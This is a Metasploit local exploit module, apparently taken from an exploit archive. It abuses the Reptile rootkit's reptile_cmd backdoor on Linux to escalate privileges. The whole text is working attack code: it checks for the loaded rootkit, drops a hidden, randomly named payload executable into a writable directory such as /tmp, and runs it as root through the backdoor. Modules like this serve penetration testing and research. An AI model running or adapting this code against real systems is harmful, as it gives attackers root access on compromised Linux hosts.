Reptile Rootkit reptile_cmd Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation',  
'Description' => %q{  
This module uses Reptile rootkit's `reptile_cmd` backdoor executable  
to gain root privileges using the `root` command.  
  
This module has been tested successfully with Reptile from `master`  
branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'f0rb1dd3n', # Reptile  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2018-10-29', # Reptile first stable release  
'References' =>  
[  
['URL', 'https://github.com/f0rb1dd3n/Reptile'],  
['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']  
],  
'Platform' => ['linux'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [['Auto', {}]],  
'Notes' =>  
{  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def reptile_cmd_path  
datastore['REPTILE_CMD_PATH']  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
chmod path  
end  
  
def check  
unless executable? reptile_cmd_path  
vprint_error "#{reptile_cmd_path} is not executable"  
return CheckCode::Safe  
end  
vprint_good "#{reptile_cmd_path} is executable"  
  
res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip  
vprint_status "Output: #{res}"  
  
if res.include?('You have no power here!')  
vprint_error 'Reptile kernel module is not loaded'  
return CheckCode::Safe  
end  
  
unless res.include?('root')  
vprint_error 'Reptile is not installed'  
return CheckCode::Safe  
end  
vprint_good 'Reptile is installed and loaded'  
  
CheckCode::Vulnerable  
end  
  
def exploit  
unless check == CheckCode::Vulnerable  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
payload_name = ".#{rand_text_alphanumeric 8..12}"  
payload_path = "#{base_dir}/#{payload_name}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
print_status 'Executing payload...'  
res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "  
vprint_line res  
end  
end  
`